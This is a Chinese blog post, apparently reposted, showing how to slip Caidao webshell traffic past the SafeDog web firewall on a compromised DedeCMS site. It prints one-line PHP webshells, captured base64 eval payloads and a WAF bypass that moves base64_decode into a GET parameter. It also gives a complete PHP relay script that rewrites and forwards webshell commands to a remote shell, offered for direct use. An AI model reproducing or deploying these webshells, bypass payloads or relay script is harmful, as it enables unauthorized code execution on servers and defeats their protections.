• 我是如何让菜刀无视安全狗的


    Author:Sunshie
    QQ:1141056911
    Blog:http://phpinfo.me

    需要准备的东西:

    **************************************

    原版菜刀一个

    PHP+Apache运行环境

    过狗一句话一个
    如<?php $x=base64_decode("YXNzZXJ0");$x($_POST['c']);?>;  或者<?php
    $_GET$_POST;>

    ************************************

    思路:

    今天碰到一个dede的站 ,发现getshell后用菜刀连接失败,就连乌云大牛@俺是农村的
    写的webshell管理工具也无法连接

    所以就来研究一下,看看安全狗到底拦截什么!!

    于是打开抓包工具开始抓菜刀连接时候的包

    图我就不打码了 想日的去日吧

    此时抓到的包是

    c=@eval(base64_decode($_POST[z0]));
    &z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rl
    c19ydW50aW1lKDApO2VjaG8oIi0%2BfCIpOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaX
    IoJEQpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPciBObyBQZXJtaXNzaW9uISIpO3
    1lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkTj1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS
    1tLWQgSDppOnMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZXBlcm1zKCRQKSwxMC
    w4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgkUCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSR
    OLiIvIi4kUjtlbHNlICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDwtIik7ZGllKCk7
    &z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc
    

     然后打开火狐浏览器  用hackbar来试着搞

    被狗咬了!

    难道狗是拦截POST数据里面的eval()  ??

    于是把eval换成assert试试

    换了虽然不拦截了 ,但是啥回显也没有

    貌似不能这么写 还是换成eval吧

    最后各种尝试
    终于发现狗拦截什么关键字了!!!

    拦截的正是eval(base64_decode

    所以我只需要变通一下,把base64_decode换成别的不就行了么?

    根据php的灵活性  我这里把base64_decode改成$_GET[1141056911]
    然后用这时候get的参数是http://www.xcom/plus/helen.php?1141056911=base64_decode
    这时候post的参数是

    c=@eval($_GET[1141056911]($_POST[z0]));
    &z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW
    1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0%2BfCI
    pOzskRD1iYXNlNjRfZGVjb2RlKCRfUE9TVFsiejEiXSk7JEY9QG9wZW5kaXIoJE
    QpO2lmKCRGPT1OVUxMKXtlY2hvKCJFUlJPUjovLyBQYXRoIE5vdCBGb3VuZCBPc
    iBObyBQZXJtaXNzaW9uISIpO31lbHNleyRNPU5VTEw7JEw9TlVMTDt3aGlsZSgkT
    j1AcmVhZGRpcigkRikpeyRQPSRELiIvIi4kTjskVD1AZGF0ZSgiWS1tLWQgSDppO
    nMiLEBmaWxlbXRpbWUoJFApKTtAJEU9c3Vic3RyKGJhc2VfY29udmVydChAZmlsZ
    XBlcm1zKCRQKSwxMCw4KSwtNCk7JFI9Ilx0Ii4kVC4iXHQiLkBmaWxlc2l6ZSgk
    UCkuIlx0Ii4kRS4iCiI7aWYoQGlzX2RpcigkUCkpJE0uPSROLiIvIi4kUjtlbHNl
    ICRMLj0kTi4kUjt9ZWNobyAkTS4kTDtAY2xvc2VkaXIoJEYpO307ZWNobygifDw
    tIik7ZGllKCk7&z1=1f3U2tTYyOu7%2BbG%2B0MXPoi4uLlxc

    然后我们看下效果

    成功执行,而且狗傻逼了

    于是左思又想,本菜不会逆向怎么办,不会改菜刀啊!!

    终于灵光一闪,咱用PHP写个中转脚本不就行了!

    用PHP接收菜刀的post然后把post里面的base64_decode替换掉

    如下代码

    <?php
    $webshell="http://www.phpinfo.me/plus/helen.php";//把这里改成你的shell地址
    $webshell=$webshell."?&1141056911=base64_decode";
     
    $da=$_POST;
    $data = $da;
    @$data=str_replace("base64_decode(",'$_GET[1141056911](',$data); //接收菜刀的post,并把base64_decode替换成$_GET[1141056911](
     
    //print_r($data);
     
    $data = http_build_query($data);  
    $opts = array (  
    'http' => array (  
    'method' => 'POST',  
    'header'=> "Content-type: application/x-www-form-urlencoded
    " .  
    "Content-Length: " . strlen($data) . "
    ",  
    'content' => $data)
    );
     
    $context = stream_context_create($opts);  
    $html = @file_get_contents($webshell, false, $context); //发送post 
    echo $html;  
     
    ?>

    用法:

    把$webshell改成你的webshell地址

    然后把代码保存为1234.php放到你本地的php环境里
    然后直接丢菜刀连接

    shell密码还是原本的密码

    然后你会发现成功杀掉狗

    成功

  • 相关阅读:
    GIT使用方法
    结对-结对编项目贪吃蛇-设计文档
    结对-结对编项目贪吃蛇-开发环境搭建过程
    《团队-爬取豆瓣电影TOP250-需求分析》
    《团队-爬取豆瓣电影TOP250-成员简介及分工》
    结对-结对编项目贪吃蛇-需求分析
    20170906-构建之法:阅读问题
    20170906-构建之法:现代软件工程-阅读笔记
    团队名称:极限定理
    软件工程初识
  • 原文地址:https://www.cnblogs.com/hookjoy/p/4056057.html
Copyright © 2020-2023  润新知